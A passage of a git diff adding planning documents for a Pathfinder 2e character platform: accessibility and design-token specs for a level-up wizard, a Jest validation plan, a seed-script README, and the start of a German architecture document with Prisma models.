- All interactive elements have a 44×44px tap-target floor (CLAUDE.md mobile-first). The boost `+/-` controls and the stepper-dot wrappers each meet this floor explicitly (`h-11 w-11`).
|
||||
- All buttons have `aria-label` for icon-only variants:
|
||||
- Header close button: `aria-label="Schließen"`.
|
||||
- Boost `+`: `aria-label="{abbreviation} Boost erhöhen"` (e.g. `STR Boost erhöhen`).
|
||||
- Boost `-`: `aria-label="{abbreviation} Boost verringern"`.
|
||||
- Stepper dot buttons: `aria-label="{stepLabel}, {state}"` where state ∈ `aktuell` / `abgeschlossen` / `noch nicht verfügbar`.
|
||||
- Modals use `role="dialog"` + `aria-modal="true"` + `aria-labelledby` pointing at the header H2.
|
||||
- The stepper uses `role="navigation"` + each completed/current dot has `aria-current="step"` for current.
|
||||
- Choice-cards are native `<button>` — keyboard focus + Enter/Space activates `onSelect`.
|
||||
- The Boost-step row is a `<li>` within a `<ul>`, never a `<button>` — the only interactive children are the `+/-` buttons. No nested-button HTML.
|
||||
- Prereq-confirm dialog traps focus (focus-lock) — first focusable element is `Abbrechen`, Esc closes the dialog.
|
||||
- All text passes WCAG AA contrast on `bg-bg-secondary` (`text-text-primary` `#f5f5f7` on `#1a1a1f` is 14:1; `text-text-secondary` `#a1a1a6` is 7.4:1; `text-warning-500` on `bg-warning-500/10` is 4.5:1).
|
||||
- `prefers-reduced-motion` honored (see Motion section).
|
||||
|
||||
---
|
||||
|
||||
## Design Tokens — Inventory (for executor reference)
|
||||
|
||||
The wizard introduces **zero new design tokens**. All colors, fonts, radii, shadows are read from the existing `@theme` block in `client/src/index.css`:
|
||||
|
||||
| Token name | Used by Phase 1 |
|
||||
|------------|-----------------|
|
||||
| `--color-primary-500` | wizard accent (CTA, selected card, stepper, banner stripe, button, `Ändern` link, `Zurück zur Übersicht`) |
|
||||
| `--color-primary-500/40`, `--color-primary-500/20`, `--color-primary-500/10` | halos, badges, info strips |
|
||||
| `--color-bg-primary` | page background |
|
||||
| `--color-bg-secondary` | wizard modal surface |
|
||||
| `--color-bg-tertiary` | choice-card surface, banner background, info-strip background |
|
||||
| `--color-bg-elevated` | +/- step buttons in boost picker |
|
||||
| `--color-text-primary`, `--color-text-secondary`, `--color-text-muted` | text hierarchy |
|
||||
| `--color-border`, `--color-border-hover`, `--color-border-focus` | card outlines, hover, focus |
|
||||
| `--color-warning-500`, `--color-warning-500/10`, `--color-warning-500/20` | non-evaluable prereq icon, violations banner, "+1 (Cap bei 18)" chip, revalidation-cleared note |
|
||||
| `--color-error-500`, `--color-error-500/10` | DRAFT-discard button, prereq-fail chip |
|
||||
| `--color-success-500`, `--color-success-500/10` | completed-step check, positive Δ chips |
|
||||
| `--color-info-500`, `--color-info-500/10` | "Free Archetype: aktiv" strip, "automatisch"-info strips |
|
||||
| `--radius-lg` (8px), `--radius-xl` (12px), `--radius-2xl` (16px) | rounded corners on cards / modals |
|
||||
|
||||
---
|
||||
|
||||
## Registry Safety
|
||||
|
||||
| Registry | Blocks Used | Safety Gate |
|
||||
|----------|-------------|-------------|
|
||||
| (none — hand-built primitives in `client/src/shared/components/ui/`) | `Button`, `Input`, `Card`, `Spinner`, `ActionIcon` (existing) | not applicable — code is owned in-repo, not pulled from a registry |
|
||||
| (no third-party shadcn registry declared) | — | not applicable |
|
||||
|
||||
No `npx shadcn` add operations occur in Phase 1. All wizard components are written from scratch under `client/src/features/characters/components/level-up/` (planner discretion on exact filenames; UI-SPEC dictates the component contracts above).
|
||||
|
||||
---
|
||||
|
||||
## Component File Plan (advisory — final filenames at planner's discretion)
|
||||
|
||||
The following kebab-case files implement the contracts above. The planner may merge or split, but each contract section above must be implemented somewhere:
|
||||
|
||||
- `level-up-wizard.tsx` — outer container, stepper, header, footer, motion orchestration
|
||||
- `level-up-step-class-features.tsx` — step 0 (auto-class-features summary)
|
||||
- `level-up-step-class-feature-choice.tsx` — step 0a (Cleric Doctrine, Wizard School, …)
|
||||
- `level-up-step-boost.tsx` — step 1 (4 attribute boosts)
|
||||
- `level-up-step-skill-increase.tsx` — step 2
|
||||
- `level-up-step-feat-class.tsx` — step 3
|
||||
- `level-up-step-feat-skill.tsx` — step 4
|
||||
- `level-up-step-feat-general.tsx` — step 5
|
||||
- `level-up-step-feat-ancestry.tsx` — step 6
|
||||
- `level-up-step-feat-archetype.tsx` — step 7 (Free Archetype slot)
|
||||
- `level-up-step-spellcaster.tsx` — step 8
|
||||
- `level-up-step-review.tsx` — step 9
|
||||
- `level-up-choice-card.tsx` — shared choice-card primitive
|
||||
- `level-up-prereq-confirm-dialog.tsx` — secondary z-60 dialog for D-03 prereq + abort + discard
|
||||
- `level-up-resume-banner.tsx` — D-14 banner on character-sheet
|
||||
- `level-up-violations-banner.tsx` — D-06 banner on character-sheet
|
||||
|
||||
---
|
||||
|
||||
## Checker Sign-Off
|
||||
|
||||
- [ ] Dimension 1 Copywriting: PASS
|
||||
- [ ] Dimension 2 Visuals: PASS
|
||||
- [ ] Dimension 3 Color: PASS
|
||||
- [ ] Dimension 4 Typography: PASS
|
||||
- [ ] Dimension 5 Spacing: PASS
|
||||
- [ ] Dimension 6 Registry Safety: PASS
|
||||
|
||||
**Approval:** pending
|
||||
124
.planning/phases/01-level-up-pf2e-regelkonform/01-VALIDATION.md
Normal file
124
.planning/phases/01-level-up-pf2e-regelkonform/01-VALIDATION.md
Normal file
@@ -0,0 +1,124 @@
|
||||
---
|
||||
phase: 1
|
||||
slug: level-up-pf2e-regelkonform
|
||||
status: draft
|
||||
nyquist_compliant: false
|
||||
wave_0_complete: false
|
||||
created: 2026-04-27
|
||||
---
|
||||
|
||||
# Phase 1 — Validation Strategy
|
||||
|
||||
> Per-phase validation contract for feedback sampling during execution.
|
||||
|
||||
---
|
||||
|
||||
## Test Infrastructure
|
||||
|
||||
| Property | Value |
|
||||
|----------|-------|
|
||||
| **Framework** | Jest 30.0.0 + ts-jest (server only — `server/package.json:88-104`) |
|
||||
| **Config file** | inline in `server/package.json` — `testRegex: ".*\\.spec\\.ts$"`, `rootDir: "src"` |
|
||||
| **Quick run command** | `cd server && npm test -- --testPathPattern=leveling` |
|
||||
| **Full suite command** | `cd server && npm test` |
|
||||
| **Estimated runtime** | ~10s quick / ~30s full |
|
||||
|
||||
**Client test framework:** None today. Phase 1 deliberately does NOT introduce vitest on the client — wizard UI is verified manually + via the integration test that exercises the full commit path through the API.
|
||||
|
||||
---
|
||||
|
||||
## Sampling Rate
|
||||
|
||||
- **After every task commit:** Run `cd server && npm test -- --testPathPattern=leveling`
|
||||
- **After every plan wave:** Run `cd server && npm test`
|
||||
- **Before `/gsd-verify-work`:** Full suite must be green; integration test for atomic commit MUST pass
|
||||
- **Max feedback latency:** ~10 seconds (quick) / ~30 seconds (full)
|
||||
|
||||
---
|
||||
|
||||
## Per-Task Verification Map
|
||||
|
||||
| Task ID | Plan | Wave | Requirement | Threat Ref | Secure Behavior | Test Type | Automated Command | File Exists | Status |
|
||||
|---------|------|------|-------------|------------|-----------------|-----------|-------------------|-------------|--------|
|
||||
| 1-W0-01 | W0 | 0 | infra | — | N/A | unit | `cd server && npm test -- apply-attribute-boost.spec.ts` | ❌ W0 | ⬜ pending |
|
||||
| 1-W1-01 | W1 | 1 | LVL-02 | — | `applyAttributeBoost(17) = 19` | unit | `cd server && npm test -- apply-attribute-boost.spec.ts` | ❌ W1 | ⬜ pending |
|
||||
| 1-W1-02 | W1 | 1 | LVL-02 | — | `applyAttributeBoost(18) = 19` (cap) | unit | same | ❌ W1 | ⬜ pending |
|
||||
| 1-W1-03 | W1 | 1 | LVL-02 | — | `applyAttributeBoost(20) = 21` (above cap) | unit | same | ❌ W1 | ⬜ pending |
|
||||
| 1-W1-04 | W1 | 1 | LVL-02 | — | `isValidBoostSet(['STR','STR','CON','INT']) = false` | unit | same | ❌ W1 | ⬜ pending |
|
||||
| 1-W1-05 | W1 | 1 | LVL-02 | — | `isValidBoostSet(['STR','DEX','CON','INT']) = true` | unit | same | ❌ W1 | ⬜ pending |
|
||||
| 1-W1-06 | W1 | 1 | LVL-06 | — | `canIncreaseSkill('TRAINED', 2) = false` | unit | `cd server && npm test -- skill-increase-cap.spec.ts` | ❌ W1 | ⬜ pending |
|
||||
| 1-W1-07 | W1 | 1 | LVL-06 | — | `canIncreaseSkill('TRAINED', 3) = true` | unit | same | ❌ W1 | ⬜ pending |
|
||||
| 1-W1-08 | W1 | 1 | LVL-06 | — | `canIncreaseSkill('EXPERT', 6) = false` | unit | same | ❌ W1 | ⬜ pending |
|
||||
| 1-W1-09 | W1 | 1 | LVL-06 | — | `canIncreaseSkill('EXPERT', 7) = true` | unit | same | ❌ W1 | ⬜ pending |
|
||||
| 1-W1-10 | W1 | 1 | LVL-06 | — | `canIncreaseSkill('MASTER', 14) = false` | unit | same | ❌ W1 | ⬜ pending |
|
||||
| 1-W1-11 | W1 | 1 | LVL-06 | — | `canIncreaseSkill('MASTER', 15) = true` | unit | same | ❌ W1 | ⬜ pending |
|
||||
| 1-W1-12 | W1 | 1 | LVL-09 | T-1-Tampering-prereq | Pure skill-rank evaluates `{ ok: true }` when met | unit | `cd server && npm test -- prereq-evaluator.spec.ts` | ❌ W1 | ⬜ pending |
|
||||
| 1-W1-13 | W1 | 1 | LVL-09 | T-1-Tampering-prereq | Same prereq, untrained → `{ ok: false }` | unit | same | ❌ W1 | ⬜ pending |
|
||||
| 1-W1-14 | W1 | 1 | LVL-09 | — | Disjunctive prereq with one match → `{ ok: true }` | unit | same | ❌ W1 | ⬜ pending |
|
||||
| 1-W1-15 | W1 | 1 | LVL-09 | — | Conjunctive `; …` with one missing → `{ ok: false }` | unit | same | ❌ W1 | ⬜ pending |
|
||||
| 1-W1-16 | W1 | 1 | LVL-09 | — | Bare feat-name with feat present → `{ ok: true }` | unit | same | ❌ W1 | ⬜ pending |
|
||||
| 1-W1-17 | W1 | 1 | LVL-09 | — | Heritage ref with matching heritage → `{ ok: true }` | unit | same | ❌ W1 | ⬜ pending |
|
||||
| 1-W1-18 | W1 | 1 | LVL-09 | — | Class ref → `{ ok: true }` when class matches | unit | same | ❌ W1 | ⬜ pending |
|
||||
| 1-W1-19 | W1 | 1 | LVL-09 | — | Spellcasting ref → `{ unknown: true, raw: ... }` | unit | same | ❌ W1 | ⬜ pending |
|
||||
| 1-W1-20 | W1 | 1 | LVL-09 | — | Deity ref → `{ unknown: true, raw: ... }` | unit | same | ❌ W1 | ⬜ pending |
|
||||
| 1-W1-21 | W1 | 1 | LVL-09 | — | Empty/null prereq → `{ ok: true }` | unit | same | ❌ W1 | ⬜ pending |
|
||||
| 1-W1-22 | W1 | 1 | LVL-10 | — | `recompute().hpMax = ancestryHP + (classHP + conMod) × level` | unit | `cd server && npm test -- recompute-derived-stats.spec.ts` | ❌ W1 | ⬜ pending |
|
||||
| 1-W1-23 | W1 | 1 | LVL-10 | — | Recompute respects boost-cap-at-18 | unit | same | ❌ W1 | ⬜ pending |
|
||||
| 1-W1-24 | W1 | 1 | LVL-10 | — | Recompute applies `proficiencyChanges` from ClassProgression | unit | same | ❌ W1 | ⬜ pending |
|
||||
| 1-W1-25 | W1 | 1 | LVL-10 | — | Recompute does NOT mutate `hpCurrent` (Pitfall #9) | unit | same | ❌ W1 | ⬜ pending |
|
||||
| 1-W1-26 | W1 | 1 | LVL-01 | — | `computeApplicableSteps(L=5, Fighter, FA=false, isCaster=false)` includes boost+skill+feat-class+feat-skill+feat-ancestry | unit | `cd server && npm test -- compute-applicable-steps.spec.ts` | ❌ W1 | ⬜ pending |
|
||||
| 1-W1-27 | W1 | 1 | LVL-01 | — | At L4 no boost step | unit | same | ❌ W1 | ⬜ pending |
|
||||
| 1-W1-28 | W1 | 1 | LVL-01,LVL-13 | — | With FA enabled, includes feat-archetype step | unit | same | ❌ W1 | ⬜ pending |
|
||||
| 1-W1-29 | W1 | 1 | LVL-01,LVL-14 | — | With caster class includes spellcaster step | unit | same | ❌ W1 | ⬜ pending |
|
||||
| 1-W2-01 | W2 | 2 | LVL-08 | — | Seed populates `ClassProgression` for 16 classes × 20 levels (≥320 rows) | manual | `cd server && npm run db:seed:class-progression && psql -c 'SELECT className, COUNT(*) FROM "ClassProgression" GROUP BY className'` | N/A | ⬜ pending |
|
||||
| 1-W3-01 | W3 | 3 | LVL-12 | T-1-Tampering-commit | Commit transaction is atomic — mid-tx throw rolls back ALL writes | integration | `cd server && npm test -- leveling.service.spec.ts` | ❌ W3 | ⬜ pending |
|
||||
| 1-W3-02 | W3 | 3 | LVL-12 | — | Commit creates one `LevelUpHistory` row with snapshot + choices | integration | same | ❌ W3 | ⬜ pending |
|
||||
| 1-W3-03 | W3 | 3 | LVL-12 | T-1-WS-injection | Commit broadcasts `level_up_committed` exactly once (mock gateway) | integration | same | ❌ W3 | ⬜ pending |
|
||||
| 1-W3-04 | W3 | 3 | LVL-11 | — | DELETE `/level-up/:sessionId` removes DRAFT, leaves character untouched | integration | same | ❌ W3 | ⬜ pending |
|
||||
| 1-W3-05 | W3 | 3 | LVL-11 | T-1-Race-double-commit | Partial unique index allows new DRAFT after previous committed | integration | same | ❌ W3 | ⬜ pending |
|
||||
| 1-W3-06 | W3 | 3 | LVL-14 | — | Commit applies `spellSlotIncrement` for casters | integration | same | ❌ W3 | ⬜ pending |
|
||||
| 1-W3-07 | W3 | 3 | LVL-14 | — | Commit does NOT add slots for non-casters | integration | same | ❌ W3 | ⬜ pending |
|
||||
| 1-W3-08 | W3 | 3 | LVL-15 | — | Translation pipeline call hits existing `TranslationsService.getTranslationsBatch` | integration | same | ❌ W3 | ⬜ pending |
|
||||
| 1-W3-09 | W3 | 3 | LVL-03,LVL-04,LVL-05,LVL-07 | — | `feat-filter.service.ts` returns only `{ok:true}`/`{unknown:true}` feats, respects source filters | integration | `cd server && npm test -- feat-filter.service.spec.ts` | ❌ W3 | ⬜ pending |
|
||||
| 1-W3-10 | W3 | 3 | LVL-04 | T-1-Access | Endpoints invoke `checkCharacterAccess(..., requireOwnership=true)` (Owner OR GM) | integration | `cd server && npm test -- leveling.controller.spec.ts` | ❌ W3 | ⬜ pending |
|
||||
|
||||
*Status: ⬜ pending · ✅ green · ❌ red · ⚠️ flaky*
|
||||
|
||||
---
|
||||
|
||||
## Wave 0 Requirements
|
||||
|
||||
The codebase has Jest infrastructure but zero unit-test files alongside source. Wave 0 establishes the file convention and proves the runner works on a leveling-module test:
|
||||
|
||||
- [ ] Create `server/src/modules/leveling/lib/apply-attribute-boost.ts` + `.spec.ts` (smallest possible — one function, four tests). Run `npm test`. Confirms ts-jest compiles, the testRegex picks it up, the run completes.
|
||||
- [ ] Add `server/jest.config.cjs` ONLY if the inline `package.json` Jest config has surprises with the new test files. Default: trust the inline config.
|
||||
- [ ] Add `db:seed:class-progression` script to `server/package.json` scripts pointing at `tsx prisma/seed-class-progression.ts`.
|
||||
- [ ] Add `.gitignore` entry for `server/prisma/data/foundry-pf2e/` (the dev-cloned source).
|
||||
- [ ] Add unit-test pattern documentation to `.planning/codebase/TESTING.md` once the Wave-1 modules land — first real pattern in the codebase.
|
||||
|
||||
---
|
||||
|
||||
## Manual-Only Verifications
|
||||
|
||||
| Behavior | Requirement | Why Manual | Test Instructions |
|
||||
|----------|-------------|------------|-------------------|
|
||||
| Wizard UI renders steps mobile-first per `01-UI-SPEC.md` | LVL-01, LVL-11 | No client test framework yet (deferred to a later cross-cutting phase) | Open `/characters/:id`, click "Stufe steigen", walk through wizard on Chrome DevTools mobile (375×667). Verify each step matches UI-SPEC. |
|
||||
| Pathbuilder import banner appears for prereq violations | LVL-09, D-06 | Requires real Pathbuilder JSON with violations | Import a prepared Pathbuilder JSON containing a feat whose prereq is unmet; verify the character-header banner lists the violations. |
|
||||
| Pathbuilder FA auto-detect (D-09) | LVL-13, A1 | Requires real FA-enabled Pathbuilder export to verify heuristic | Import a Pathbuilder character known to have Free Archetype enabled; verify `Character.freeArchetype = true` after import. NestJS log line `PathbuilderImport: detected FA=true for character X based on Y` appears. |
|
||||
| Real-time WebSocket broadcast lands on a second client | LVL-12, LVL-14 | Multi-client coordination | Open two browser windows on the same character; commit a level-up in window 1; window 2 updates HP-Max + level + stats within 1s without reload. |
|
||||
| Free-Archetype slot shows multi-archetype talents after Dedication | LVL-13, D-07 | UI verification of correct filter behavior | Pick a Dedication in the FA slot at L2; advance to L4; FA slot at L4 should list talents from any archetype, not only the dedicated one. |
|
||||
| Spellcaster Repertoire-Increment step appears for spontaneous casters only | LVL-14, D-18 | Requires casting-class character | Level-up a Sorcerer (spontaneous): Repertoire step appears. Level-up a Cleric (prepared): Repertoire step does NOT appear. |
|
||||
| Translation cache hit on subsequent prereq display | LVL-15 | Cache verification | Open a feat with German prereq text; close; reopen — second open hits cached translation, no Claude API call (verify via NestJS log). |
|
||||
|
||||
---
|
||||
|
||||
## Validation Sign-Off
|
||||
|
||||
- [ ] All tasks have `<automated>` verify or Wave 0 dependencies
|
||||
- [ ] Sampling continuity: no 3 consecutive tasks without automated verify
|
||||
- [ ] Wave 0 covers all MISSING references
|
||||
- [ ] No watch-mode flags
|
||||
- [ ] Feedback latency < 30s
|
||||
- [ ] `nyquist_compliant: true` set in frontmatter
|
||||
|
||||
**Approval:** pending
|
||||
@@ -0,0 +1,66 @@
|
||||
# Phase 1 — ClassProgression Seed README
|
||||
|
||||
The seed script `server/prisma/seed-class-progression.ts` populates the `ClassProgression`
|
||||
and `ClassFeatureOption` tables from the Foundry pf2e system repository (license: Apache 2.0
|
||||
+ OGL 1.0a + Paizo Community Use Policy — verified 2026-04-27).
|
||||
|
||||
## One-time dev setup
|
||||
|
||||
Clone the pinned Foundry pf2e tag into the gitignored data folder:
|
||||
|
||||
```bash
|
||||
cd server/prisma/data
|
||||
git clone --depth 1 --branch pf2e-8.0.3 https://github.com/foundryvtt/pf2e.git foundry-pf2e
|
||||
```
|
||||
|
||||
`server/prisma/data/foundry-pf2e/` is excluded from version control (.gitignore line added in Plan 01).
|
||||
Do NOT commit the clone. Re-clone after a Foundry pf2e major version ships.
|
||||
|
||||
**Pinned tag:** `pf2e-8.0.3` (Pathfinder 2e system release on the `foundryvtt/pf2e` repo;
|
||||
selected from `https://github.com/foundryvtt/pf2e/tags` — current stable Pathfinder 2e
|
||||
release as of 2026-04-27, includes Player Core / APG content for all 16 D-16 classes).
|
||||
|
||||
> **Tag drift note (RESEARCH §Pitfall 5):** The Foundry pf2e JSON shape may change across
|
||||
> major versions. If the seed script fails with "Class JSON does not match expected schema",
|
||||
> either pin to an older tag here or update the parser in `seed-class-progression.ts`.
|
||||
> Do **not** auto-track HEAD.
|
||||
|
||||
## Run the seed
|
||||
|
||||
```bash
|
||||
cd server
|
||||
npm run db:seed:class-progression
|
||||
```
|
||||
|
||||
Idempotent: running twice does not duplicate rows. Console output reports `created` and
|
||||
`updated` counts plus any errors.
|
||||
|
||||
## Foundry pf2e v8 layout note
|
||||
|
||||
In Foundry pf2e v8 (the pinned tag `pf2e-8.0.3`), class JSONs live under
|
||||
`packs/pf2e/classes/`. Earlier major versions (v7) used `packs/classes/` directly. The
|
||||
seed script reads from the v8 path; if you bump the pinned tag back to a v7 release,
|
||||
update `FOUNDRY_CLASSES_DIR` in `server/prisma/seed-class-progression.ts` accordingly.
|
||||
|
||||
## Failure modes
|
||||
|
||||
- **"Foundry pf2e clone not found at server/prisma/data/foundry-pf2e/packs/pf2e/classes/"** —
|
||||
run the `git clone` step above.
|
||||
- **"Class JSON does not match expected schema"** — Foundry pf2e changed the JSON shape
|
||||
between major versions. Update the seed parser or pin to an older tag.
|
||||
|
||||
## What gets seeded (cumulative across Plan 03 and Plan 03b)
|
||||
|
||||
- **ClassProgression** rows: 16 classes × 20 levels = 320 rows, with `grants[]`,
|
||||
`proficiencyChanges`, `spellSlotIncrement`, `cantripIncrement`, `repertoireIncrement`,
|
||||
`choiceType`, `choiceOptionsRef`. Plan 03 ships Wizard L1..L20 fully (worked example);
|
||||
Plan 03b adds remaining 15 classes' L1..L20 rows (data-only — Plan 03's pipeline already
|
||||
seeds 320 rows; Plan 03b just enriches them with overlay data).
|
||||
- **ClassFeatureOption** rows: hand-curated Cleric Doctrines, Wizard Schools, Champion
|
||||
Causes, Sorcerer Bloodlines (where L1-set), Druid Orders, etc. Joint goal across both
|
||||
plans: ≥50 rows. Plan 03 ships at least 1 (Wizard School worked example); Plan 03b
|
||||
ships ≥49 more.
|
||||
- Spell-slot/cantrip/repertoire progressions come from the hand-curated overlay
|
||||
`server/prisma/data/spell-slot-overlays.ts` because Foundry encodes them in prose
|
||||
(Pitfall #6). Plan 03 ships Wizard's full L1..L19 entries; Plan 03b ships the other
|
||||
6 caster classes plus empty arrays for non-casters.
|
||||
745
.planning/research/ARCHITECTURE.md
Normal file
745
.planning/research/ARCHITECTURE.md
Normal file
@@ -0,0 +1,745 @@
|
||||
# Architecture Patterns
|
||||
|
||||
**Domain:** Dimension47 — TTRPG-Plattform (PF2e), Brownfield-Erweiterung
|
||||
**Researched:** 2026-04-27
|
||||
**Scope:** Additive Architektur für PWA + Multi-Screen-Battle + Dice/Chat + GM-Live-Tools + Obsidian-Vault + Level-Up
|
||||
**Confidence:** HIGH (basiert auf gemappter Bestands-Codebase + bekannten Web-Patterns)
|
||||
|
||||
> Lese-Hinweis: Dieses Dokument ergänzt `.planning/codebase/ARCHITECTURE.md` (Bestand). Es definiert nur, was **neu** dazukommt und wie es sich an bestehende Patterns andockt. Keine Re-Definition existierender Layer.
|
||||
|
||||
---
|
||||
|
||||
## 1. Architektur-Leitplanken (gelten für alles unten)
|
||||
|
||||
Der Bestand zementiert sechs Patterns, die jede neue Komponente respektieren muss:
|
||||
|
||||
1. **NestJS-Modul = Feature-Schnitt**: Jedes neue Feature bekommt ein eigenes Modul unter `server/src/modules/<feature>/` mit `controller.ts`, `service.ts`, optional `gateway.ts`, optional `dto/`. Wird in `app.module.ts` importiert.
|
||||
2. **React-Feature-Schnitt**: Jedes neue UI-Feature bekommt `client/src/features/<feature>/` mit `components/`, optional `hooks/`, `index.ts` als Barrel.
|
||||
3. **Shared Hooks zentralisiert**: WebSocket-Hooks und übergreifende Hooks gehören nach `client/src/shared/hooks/`. Lokale Feature-Hooks bleiben in `features/<feature>/hooks/`.
|
||||
4. **Daten in DB, nicht in JSON**: Jede neue Entity ist Prisma-Modell mit Migration. JSON-Dateien sind nur Seed-Quellen.
|
||||
5. **Migrations statt `db push`**: Schema-Änderungen ausschließlich `prisma migrate dev` mit sprechendem Namen (`add_dice_rolls`, `add_push_subscriptions`).
|
||||
6. **Gateway-Convention**: WebSocket-Gateways nutzen Namespace pro Feature (`/characters`, `/battles`), JWT in `handshake.auth.token`, Room pro Resource-ID, `forwardRef` zwischen Service und Gateway, `Logger` mit Klassennamen.
|
||||
|
||||
Alles weitere folgt aus diesen Leitplanken.
|
||||
|
||||
---
|
||||
|
||||
## 2. Recommended Architecture (additiv, pro Feature)
|
||||
|
||||
### 2.1 Übersicht: Was kommt neu dazu
|
||||
|
||||
```
|
||||
NEU (Backend Module) NEU (Frontend Features) NEU (Prisma Modelle)
|
||||
───────────────────────── ────────────────────── ────────────────────
|
||||
modules/leveling/ features/leveling/ LevelUpSession
|
||||
modules/push/ features/push/ PushSubscription
|
||||
modules/dice/ features/dice/ DiceRoll
|
||||
modules/chat/ features/chat/ ChatMessage
|
||||
modules/vault/ features/vault/ VaultConfig
|
||||
features/battle/display/ VaultNoteCache
|
||||
BattleEffect
|
||||
(BattleSession +turnTokenId)
|
||||
GEÄNDERT
|
||||
─────────────────────────
|
||||
modules/battle/ (neue Events) features/battle/ (display Migrations
|
||||
modules/characters/ (Level-Up route, GM mode flag, init ─────────
|
||||
Hooks ins Service) tracker UI, effects UI) add_level_up_sessions
|
||||
modules/auth/ (vapid, role features/characters/ add_push_subscriptions
|
||||
broadcast helper) (level-up tab/wizard) add_dice_and_chat
|
||||
shared/hooks/ add_battle_effects
|
||||
use-dice-socket.ts add_vault_config
|
||||
use-chat-socket.ts add_battle_session_turn_pointer
|
||||
shared/sw/
|
||||
service-worker.ts (Vite PWA)
|
||||
```
|
||||
|
||||
### 2.2 Neue NestJS-Module (Component Boundaries)
|
||||
|
||||
| Modul | Verantwortung | Exports | Dependencies |
|
||||
|-------|---------------|---------|--------------|
|
||||
| `LevelingModule` | Draft-Session erzeugen, validieren (PF2e-Regeln), commit/abort, Snapshot des Vorher-Stands | `LevelingService` | `CharactersModule` (für Recompute), `FeatsModule`, `PrismaModule` |
|
||||
| `PushModule` | VAPID-Setup, `POST /push/subscribe`, `DELETE /push/subscribe`, `sendToUser`, `sendToCampaign` (Helper für andere Services) | `PushService` | `PrismaModule`, `web-push` lib |
|
||||
| `DiceModule` | PF2e-Notation parsen (`1d20+7`, Crits), Roll persistieren, Broadcast | `DiceService`, `DiceGateway` | `PrismaModule`, `CampaignsModule` (Access-Check) |
|
||||
| `ChatModule` | Append-only Chat-Messages, Pagination, Broadcast, Roll-Embed-Verweis | `ChatService`, `ChatGateway` | `PrismaModule`, `CampaignsModule`, `DiceModule` (für Embed-Lookup) |
|
||||
| `VaultModule` | Vault-Config (per Campaign), Markdown-Liste, Markdown-Read, Wikilink-Resolve, Bild-Proxy, optional Cache-Sweep | `VaultService` | `PrismaModule`, `CampaignsModule`, evtl. `axios`/WebDAV-Client |
|
||||
|
||||
**Geänderte Bestandsmodule:**
|
||||
|
||||
- `CharactersModule`: Bekommt `LevelingModule` als Konsument; eigener Service exponiert `recomputeStatsAfterLevelUp()` als Hook-Punkt; `CharactersGateway` bekommt neuen Update-Type `'level_up_committed'`.
|
||||
- `BattleModule`: `BattleGateway` bekommt neue Events (`effect_added`, `effect_removed`, `effect_updated`, `turn_advanced`, `viewer_role` informativ). `BattleService` bekommt CRUD für `BattleEffect` und Turn-Pointer.
|
||||
- `AuthModule`: Bekommt einen schmalen `BroadcastHelper` (oder dieser lebt im `PushModule`), der Userlisten pro Campaign-Rolle auflöst — wird von Push, Chat, Dice genutzt.
|
||||
|
||||
### 2.3 Neue Prisma-Modelle (kompakt, Felder auf das Wesentliche)
|
||||
|
||||
```prisma
|
||||
// Migration: add_level_up_sessions
|
||||
model LevelUpSession {
|
||||
id String @id @default(uuid())
|
||||
characterId String
|
||||
fromLevel Int
|
||||
toLevel Int
|
||||
state String // "DRAFT" | "COMMITTED" | "ABORTED"
|
||||
draft Json // Wahl-Pfad (Boosts, Feats, Skills, Class Features)
|
||||
snapshotBefore Json // Vorher-Stand für Audit/Undo (committed: read-only)
|
||||
createdAt DateTime @default(now())
|
||||
committedAt DateTime?
|
||||
character Character @relation(fields: [characterId], references: [id], onDelete: Cascade)
|
||||
@@index([characterId])
|
||||
@@index([characterId, state])
|
||||
}
|
||||
|
||||
// Migration: add_push_subscriptions
|
||||
model PushSubscription {
|
||||
id String @id @default(uuid())
|
||||
userId String
|
||||
endpoint String @unique // Browser-eindeutig
|
||||
p256dh String
|
||||
authKey String
|
||||
userAgent String?
|
||||
createdAt DateTime @default(now())
|
||||
lastSeenAt DateTime @default(now())
|
||||
user User @relation(fields: [userId], references: [id], onDelete: Cascade)
|
||||
@@index([userId])
|
||||
}
|
||||
|
||||
// Migration: add_dice_and_chat
|
||||
model DiceRoll {
|
||||
id String @id @default(uuid())
|
||||
campaignId String
|
||||
battleSessionId String? // null → außerhalb des Battle
|
||||
characterId String? // null → GM/anonymer Roll
|
||||
userId String // wer hat gewürfelt
|
||||
expression String // "1d20+7"
|
||||
parsed Json // strukturiertes Parse-Ergebnis
|
||||
rolls Json // [[14], [3], ...] pro Würfel
|
||||
total Int
|
||||
isCrit Boolean @default(false)
|
||||
isFumble Boolean @default(false)
|
||||
label String? // "Athletics check", "Longsword damage"
|
||||
createdAt DateTime @default(now())
|
||||
campaign Campaign @relation(fields: [campaignId], references: [id], onDelete: Cascade)
|
||||
battleSession BattleSession? @relation(fields: [battleSessionId], references: [id], onDelete: SetNull)
|
||||
character Character? @relation(fields: [characterId], references: [id], onDelete: SetNull)
|
||||
user User @relation(fields: [userId], references: [id])
|
||||
chatMessages ChatMessage[] // Embedding via embedRollId
|
||||
@@index([campaignId, createdAt])
|
||||
@@index([battleSessionId, createdAt])
|
||||
}
|
||||
|
||||
model ChatMessage {
|
||||
id String @id @default(uuid())
|
||||
campaignId String
|
||||
battleSessionId String?
|
||||
userId String
|
||||
type String // "TEXT" | "SYSTEM" | "GM_PING"
|
||||
body String // Markdown light
|
||||
embedRollId String? // FK auf DiceRoll, falls Roll gepostet wurde
|
||||
recipientUserId String? // gezielte GM-Nachricht; null → an alle in Room
|
||||
createdAt DateTime @default(now())
|
||||
campaign Campaign @relation(fields: [campaignId], references: [id], onDelete: Cascade)
|
||||
battleSession BattleSession? @relation(fields: [battleSessionId], references: [id], onDelete: SetNull)
|
||||
user User @relation(fields: [userId], references: [id])
|
||||
embedRoll DiceRoll? @relation(fields: [embedRollId], references: [id])
|
||||
@@index([campaignId, createdAt])
|
||||
@@index([battleSessionId, createdAt])
|
||||
}
|
||||
|
||||
// Migration: add_battle_effects + add_battle_session_turn_pointer
|
||||
model BattleEffect {
|
||||
id String @id @default(uuid())
|
||||
battleTokenId String
|
||||
name String
|
||||
nameGerman String?
|
||||
kind String // "BUFF" | "DEBUFF" | "AURA" | "MARKER"
|
||||
value Int? // z.B. Stufe von Frightened
|
||||
rounds Int? // verbleibende Runden, null = unbegrenzt
|
||||
source String?
|
||||
battleToken BattleToken @relation(fields: [battleTokenId], references: [id], onDelete: Cascade)
|
||||
@@index([battleTokenId])
|
||||
}
|
||||
// BattleSession bekommt: turnTokenId String? (welcher Token ist gerade dran)
|
||||
// BattleToken bekommt: effects BattleEffect[]
|
||||
|
||||
// Migration: add_vault_config
|
||||
model VaultConfig {
|
||||
